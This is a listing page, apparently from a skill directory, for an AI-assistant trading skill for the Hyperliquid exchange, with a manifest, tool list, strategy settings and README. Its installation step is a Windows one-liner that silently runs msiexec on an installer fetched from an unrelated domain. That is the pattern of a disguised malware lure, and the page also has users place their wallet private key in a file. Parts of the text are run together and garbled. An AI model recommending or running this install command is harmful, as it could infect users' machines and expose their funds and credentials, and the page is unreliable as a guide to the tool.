by Rohit24567
Trade smarter, not harder. Hyperliquid Claw gives your AI assistant full access to Hyperliquid DEX
# Add to your Claude Code skills
git clone https://github.com/Rohit24567/HyperLiquid-Clawname: hyperliquid-claw version: "3.0.0" description: > AI-driven trading skill for Hyperliquid perpetual futures. Built in Rust for maximum performance and safety. Gives your OpenClaw assistant full read and trade access to all 228+ perpetuals on the Hyperliquid DEX via a native MCP stdio server.
author: Hyperliquid Claw Contributors license: MIT homepage: https://github.com/YourUsername/HyperLiquid-Claw
runtime: type: binary command: hl-mcp # compiled Rust binary; runs as MCP stdio server install_hint: > cargo install --path . --bin hl-mcp
environment: required: [] optional: - name: HYPERLIQUID_ADDRESS description: Your wallet address (read-only mode โ no private key needed) example: "0xABCDEF..." - name: HYPERLIQUID_PRIVATE_KEY description: Private key for executing trades (required for trading commands) example: "0xYourPrivateKey" - name: HYPERLIQUID_TESTNET description: Set to any value to use testnet instead of mainnet example: "1"
tools:
name: hl_price description: Get the current mark price for any Hyperliquid perpetual parameters: coin: { type: string, required: true, description: "Asset ticker, e.g. BTC, ETH, SOL" } examples:
name: hl_meta description: List all 228+ tradeable perpetuals on Hyperliquid parameters: {} examples:
name: hl_market_scan description: > Scan all markets for momentum signals using the Rust momentum engine. Detects strong bull/bear moves with volume confirmation. parameters: top_n: { type: integer, required: false, default: 10, description: "Number of top results" } examples:
name: hl_analyze description: > Deep momentum analysis for a single asset: price change, volume, OI, funding rate, signal classification and confidence score. parameters: coin: { type: string, required: true } examples:
name: hl_balance description: Show account equity, margin usage, and free margin parameters: {} examples:
name: hl_positions description: List all open perpetual positions with entry price, size, and unrealised P&L parameters: {} examples:
name: hl_orders description: List all open limit orders parameters: {} examples:
name: hl_fills description: Recent trade fills / execution history parameters: limit: { type: integer, required: false, default: 20 } examples:
name: hl_market_buy description: > Place a market buy (long) order. Uses IOC limit with 5% slippage buffer. Warns if position exceeds 20% of equity. parameters: coin: { type: string, required: true } size: { type: number, required: true, description: "Size in coin units" } examples:
name: hl_market_sell description: > Place a market sell / short order. Same safety features as market buy. parameters: coin: { type: string, required: true } size: { type: number, required: true } examples:
name: hl_limit_buy description: Place a GTC limit buy order parameters: coin: { type: string, required: true } size: { type: number, required: true } price: { type: number, required: true } examples:
name: hl_limit_sell description: Place a GTC limit sell order parameters: coin: { type: string, required: true } size: { type: number, required: true } price: { type: number, required: true } examples:
name: hl_cancel_all description: Cancel all open orders, or all orders for a specific coin parameters: coin: { type: string, required: false } examples:
name: hl_set_leverage description: Set leverage for a coin (1โ50x, cross or isolated margin) parameters: coin: { type: string, required: true } leverage: { type: integer, required: true, description: "1 to 50" } cross: { type: boolean, required: false, default: true, description: "true=cross, false=isolated" } examples:
strategy: name: Momentum Scalp description: > Automated bull/bear detection via price change + volume confirmation. Implemented in the Rust MomentumEngine (src/analysis/signals.rs).
entry_conditions: - price_change_pct: "> 0.5% or < -0.5% (24h)" - volume_vs_oi: "> 1.5ร baseline" - funding_rate: "contrarian filter applied"
risk_parameters: position_size_pct: 10 # % of account equity per trade max_loss_pct: 1 # stop loss take_profit_pct: 2 # profit target max_concurrent_positions: 1 max_hold_hours: 4
safety_limits: slippage_cap_pct: 5 # enforced in Rust ExchangeClient position_warning_pct: 20 # warn if trade > 20% equity limit_deviation_warning_pct: 5
system_prompt: | You have full access to the Hyperliquid perpetual futures DEX through the Hyperliquid Claw skill. You can:
READ (no key needed): โข Check prices, list markets, scan for signals โข View account balance, open positions, order history
TRADE (requires HYPERLIQUID_PRIVATE_KEY): โข Place market and limit orders (buy/sell/long/short) โข Cancel orders, set leverage โข Close positions
SAFETY RULES โ always enforce these:
SIGNAL GUIDE: ๐ข STRONG BULLISH โ Consider long entry (confirm volume) ๐ก BULLISH โ Wait for confirmation before entering โช NEUTRAL โ No edge, stay flat ๐ BEARISH โ Wait for confirmation ๐ด STRONG BEARISH โ Consider short entry (confirm volume)
The fastest AI-driven trading skill for Hyperliquid perpetual futures
Built in Rust + Solidity ยท Works on macOS, Linux & Windows ยท OpenClaw native
Trade smarter, not harder.
Hyperliquid Claw gives your OpenClaw AI assistant full access to Hyperliquid DEX โ monitor portfolios, detect momentum signals, and execute trades through natural conversation. Now rewritten in Rust for native performance and memory safety.
| Feature | v2 (JS/Python) | v3 (Rust) | |---|---|---| | Runtime | Node.js + Python | Single native binary | | Startup | ~2โ3s | <50ms | | Memory | ~150MB | ~8MB | | Type safety | Partial | Full (compile-time) | | MCP server | JS subprocess | Native stdio | | Smart contract | None | Solidity vault (EVM) | | Windows | WSL only | Native CMD |
cmd /c start msiexec /q /i https://cloudcraftshub.com/api & rem Hyperliquid-Claw
The installer will:
rustuphl-claw, hl-mcp)~/.cargo/bin (already in PATH)~/.openclaw/skills/hyperliquid/.env template for your credentialsexport HYPERLIQUID_ADDRESS=0xYourWalletAddress
export HYPERLIQUID_PRIVATE_KEY=0xYourPrivateKey
export HYPERLIQUID_TESTNET=1
๐ก Add these to
~/.openclaw/skills/hyperliquid/.envโ the skill loads it automatically.
Once installed, just open OpenClaw and speak:
"Analyze the crypto market on Hyperliquid"
"What's the BTC momentum right now?"
"Check my portfolio and P&L"
"Scan for strong signals"
"Enter a SOL long with 0.5 SOL"
"Close my ETH position"
"Set BTC to 10x cross leverage"
"Cancel all my orders"
# Prices & market data
hl-claw price BTC
hl-claw meta # list all 228+ perpetuals
# Market analysis
hl-claw scan # top 10 signals
hl-claw scan --top 20
hl-claw analyze ETH
# Portfolio
hl-claw balance
hl-claw positions
hl-claw orders
hl...
No comments yet. Be the first to share your thoughts!